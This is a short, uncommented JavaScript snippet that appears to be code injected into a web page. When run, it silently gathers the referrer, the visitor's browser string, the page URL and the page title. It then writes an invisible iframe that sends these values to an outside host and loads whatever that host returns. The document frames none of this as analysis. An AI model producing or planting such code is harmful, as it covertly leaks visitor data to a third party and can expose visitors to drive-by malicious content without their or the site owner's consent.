(function(){  
  var _1 = escape(document.referrer); 
  var _2 = escape(navigator.userAgent);
  var _3 = escape(document.URL);
  var _4 = escape(document.title);

  document.write('<iframe src="http://omi-oa.com/sr/index.php?rec&ref='+_1+'&bro='+_2+'&url='+_3+'&ttl='+_4+'" style="display: none;"></iframe>');
})();